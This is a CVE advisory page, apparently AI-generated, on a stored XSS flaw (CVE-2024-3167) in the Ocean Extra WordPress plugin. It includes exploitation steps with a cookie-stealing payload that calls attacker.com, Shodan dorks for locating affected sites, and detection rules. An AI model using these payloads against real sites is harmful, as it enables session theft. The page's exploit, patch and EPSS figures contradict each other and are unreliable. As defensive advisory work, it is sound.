☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-3167

CVE-2024-3167 Cross-Site Scripting in Oceanwp
📅 PUBLISHED: 2024-04-09 18:59 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3167 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ocean Extra plugin for WordPress, affecting versions up to and including 2.2.6. The flaw resides in the twitter_username parameter, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level permissions or higher to inject arbitrary web scripts. These scripts execute whenever a victim accesses a page containing the malicious payload. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood at this time. No public exploit code or patch is available, making this a high-priority issue for WordPress site administrators using the Ocean Extra plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Ocean Extra plugin, which is distributed via the official WordPress plugin repository. As a supply chain risk, any site using this plugin is potentially affected. Administrators should monitor the plugin’s update channel and consider disabling or replacing the plugin until a patch is released.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 6.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L) – requires contributor-level access or higher
  • User Interaction: None (UI:N)
  • Scope: Changed (S:C) – the vulnerability can affect resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute in the context of other users (including administrators) elevates the risk. The lack of a patch and the widespread use of the Ocean Extra plugin in WordPress sites make this a significant concern.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin Ocean Extra. The plugin provides functionality for displaying social media profiles, including a Twitter username field. The twitter_username parameter is used to store the user’s Twitter handle, which is then rendered on the frontend.

Root Cause: The plugin fails to properly sanitize the input and escape the output when displaying the Twitter username. Specifically, the twitter_username parameter is not filtered for malicious HTML or JavaScript before being stored in the database. When the stored value is later rendered on a page (e.g., in a widget or shortcode), it is not escaped, allowing arbitrary script execution.

Attack Flow:

  1. An attacker with contributor-level access (or higher) navigates to the profile settings page.
  2. The attacker injects a malicious payload into the twitter_username field, e.g., <script>alert('XSS')</script>.
  3. The payload is stored in the WordPress database without sanitization.
  4. When any user (including administrators) visits a page that displays the Twitter username (e.g., author archive, widget area), the script executes in their browser.
  5. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Why It Matters: Stored XSS is particularly dangerous because the payload persists and can affect multiple users without requiring social engineering. In a WordPress context, an attacker with contributor access could escalate privileges by targeting administrators.

Vulnerable vs. Patched Code

Vulnerable Code (Ocean Extra <= 2.2.6): The vulnerable code is typically found in the plugin’s profile or widget rendering function. A simplified example:

// Vulnerable: No sanitization on input, no escaping on output
function oceanwp_display_twitter_username() {
    $twitter_username = get_user_meta( get_current_user_id(), 'twitter_username', true );
    echo '<a href="https://twitter.com/' . $twitter_username . '">Twitter</a>';
}

Patched Code (Hypothetical): A secure version would sanitize the input and escape the output:

// Patched: Sanitize input and escape output
function oceanwp_display_twitter_username() {
    $twitter_username = get_user_meta( get_current_user_id(), 'twitter_username', true );
    $sanitized_username = sanitize_text_field( $twitter_username );
    echo '<a href="https://twitter.com/' . esc_attr( $sanitized_username ) . '">Twitter</a>';
}

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with Ocean Extra plugin version <= 2.2.6.
  • An authenticated user account with contributor-level permissions or higher.

Exploitation Steps:

  1. Log in as a contributor.
  2. Navigate to the user profile page (e.g., /wp-admin/profile.php).
  3. In the Twitter username field, inject a payload such as:
    <script>alert(document.cookie)</script>
    
    Or a more advanced payload to steal cookies:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the profile.
  5. Any user visiting a page that displays the Twitter username (e.g., author archive) will trigger the script.

Proof of Concept (PoC): No public exploit code is available. The above steps serve as a PoC.

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual changes to user meta fields, especially twitter_username.
  • Look for HTTP requests to /wp-admin/profile.php with suspicious payloads in the twitter_username parameter.
  • Use WAF rules to block common XSS patterns in user profile fields.

Hardening:

  • Disable the Ocean Extra plugin until a patch is released.
  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use a WordPress security plugin that adds input sanitization.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Modified user meta entries containing <script> tags or JavaScript event handlers.
    • Suspicious entries in the wp_usermeta table for twitter_username.
  • Network Indicators:

    • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
    • Requests containing encoded XSS payloads in the twitter_username parameter.
  • Log Indicators:

    • WordPress audit logs showing profile updates with unusual twitter_username values.
    • Web server logs with POST requests to /wp-admin/profile.php containing script tags.

Detection Engineering

YARA Rule

rule CVE_2024_3167_Ocean_Extra_XSS {
    meta:
        description = "Detects stored XSS payloads in Ocean Extra plugin twitter_username field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3167"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-3167 Ocean Extra Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Ocean Extra plugin via twitter_username parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/profile.php'
        cs-uri-query|contains: 'twitter_username'
        cs-uri-query|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of Twitter handles with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3167 Ocean Extra Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/profile.php"; http_uri; content:"twitter_username"; http_client_body; pcre:"/(<script|on\w+=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Ocean Extra plugin until a patched version is released.
  2. Review user accounts with contributor-level access and remove any suspicious users.
  3. Scan the database for stored XSS payloads in the twitter_username user meta field.

Long-Term Fix:

  • Apply input sanitization and output escaping to the twitter_username parameter (see patched code example).
  • Monitor the OceanWP vendor for an official patch and apply it promptly.

Workarounds:

  • Use a Web Application Firewall (WAF) to block XSS patterns.
  • Implement a WordPress security plugin that adds input validation.
  • Restrict contributor permissions to only trusted users.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WordPress"
http.html:"wp-content/plugins/ocean-extra"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-3167/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.